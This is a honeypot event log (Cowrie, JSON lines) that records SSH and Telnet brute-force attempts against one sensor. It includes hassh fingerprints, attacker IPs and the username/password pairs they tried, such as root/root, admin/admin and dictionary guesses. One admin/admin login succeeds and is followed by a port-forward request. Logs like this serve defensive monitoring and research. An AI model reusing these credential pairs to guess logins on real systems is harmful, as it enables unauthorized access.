{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:11.049974Z","src_ip":"87.251.64.176","session":"a77a4f74191c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:11.340578Z","src_ip":"87.251.64.176","session":"a77a4f74191c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:11.439172Z","session":"a77a4f74191c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:11.537021Z","src_ip":"87.251.64.176","session":"a77a4f74191c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:11.635875Z","src_ip":"87.251.64.176","session":"a77a4f74191c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41422,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6d1c803fe22","protocol":"ssh","message":"New connection: 176.65.139.103:41422 (10.17.0.5:22) [session: e6d1c803fe22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:13.665687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:13.679976Z","src_ip":"176.65.139.103","session":"e6d1c803fe22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:13.749957Z","src_ip":"176.65.139.103","session":"e6d1c803fe22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:14.083635Z","src_ip":"176.65.139.103","session":"e6d1c803fe22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:15.311860Z","src_ip":"176.65.139.103","session":"e6d1c803fe22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41438,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ac8d2dda98a","protocol":"ssh","message":"New connection: 176.65.139.103:41438 (10.17.0.5:22) [session: 1ac8d2dda98a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:20.042891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:20.047828Z","src_ip":"176.65.139.103","session":"1ac8d2dda98a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:20.129733Z","src_ip":"176.65.139.103","session":"1ac8d2dda98a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:20.407146Z","src_ip":"176.65.139.103","session":"1ac8d2dda98a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:21.541149Z","src_ip":"176.65.139.103","session":"1ac8d2dda98a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":36236,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ec8c39a29bd","protocol":"ssh","message":"New connection: 176.65.139.103:36236 (10.17.0.5:22) [session: 9ec8c39a29bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:26.426197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:26.430490Z","src_ip":"176.65.139.103","session":"9ec8c39a29bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:26.521160Z","src_ip":"176.65.139.103","session":"9ec8c39a29bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"main","message":"login attempt [main/main] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:26.781684Z","src_ip":"176.65.139.103","session":"9ec8c39a29bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:27.898306Z","src_ip":"176.65.139.103","session":"9ec8c39a29bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.421507120132446,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:31.397424Z","src_ip":"185.26.126.47","session":"6c49ea7997fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":36248,"dst_ip":"10.17.0.5","dst_port":22,"session":"7926b706e272","protocol":"ssh","message":"New connection: 176.65.139.103:36248 (10.17.0.5:22) [session: 7926b706e272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:32.749686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:32.858620Z","src_ip":"176.65.139.103","session":"7926b706e272","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:32.862070Z","src_ip":"176.65.139.103","session":"7926b706e272","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:33.399428Z","src_ip":"176.65.139.103","session":"7926b706e272","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":14186,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1992e4b4fd0","protocol":"ssh","message":"New connection: 2.57.121.25:14186 (159.203.135.109:22) [session: e1992e4b4fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:33.987406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:33.993969Z","src_ip":"2.57.121.25","session":"e1992e4b4fd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:34.096865Z","src_ip":"2.57.121.25","session":"e1992e4b4fd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:34.488580Z","src_ip":"176.65.139.103","session":"7926b706e272","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"docdoc","message":"login attempt [user/docdoc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:34.586425Z","src_ip":"2.57.121.25","session":"e1992e4b4fd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dobber","message":"login attempt [user/dobber] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:35.693297Z","src_ip":"2.57.121.25","session":"e1992e4b4fd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"distance","message":"login attempt [user/distance] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:36.799638Z","src_ip":"2.57.121.25","session":"e1992e4b4fd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.126.160.2","src_port":54220,"dst_ip":"159.203.135.109","dst_port":22,"session":"bceda672cbe2","protocol":"ssh","message":"New connection: 58.126.160.2:54220 (159.203.135.109:22) [session: bceda672cbe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:36.818284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:36.824828Z","src_ip":"58.126.160.2","session":"bceda672cbe2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:37.009937Z","src_ip":"58.126.160.2","session":"bceda672cbe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"1","message":"login attempt [root1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:37.785488Z","src_ip":"58.126.160.2","session":"bceda672cbe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dickey","message":"login attempt [user/dickey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:37.904813Z","src_ip":"2.57.121.25","session":"e1992e4b4fd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:38.974449Z","src_ip":"58.126.160.2","session":"bceda672cbe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dewayne","message":"login attempt [user/dewayne] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:39.009782Z","src_ip":"2.57.121.25","session":"e1992e4b4fd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":35738,"dst_ip":"10.17.0.5","dst_port":22,"session":"763ff77541c3","protocol":"ssh","message":"New connection: 176.65.139.103:35738 (10.17.0.5:22) [session: 763ff77541c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:39.238010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:39.254014Z","src_ip":"176.65.139.103","session":"763ff77541c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:39.329415Z","src_ip":"176.65.139.103","session":"763ff77541c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"ai","message":"login attempt [ai/ai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:39.658978Z","src_ip":"176.65.139.103","session":"763ff77541c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:40.115792Z","src_ip":"2.57.121.25","session":"e1992e4b4fd0","protocol":"ssh"}
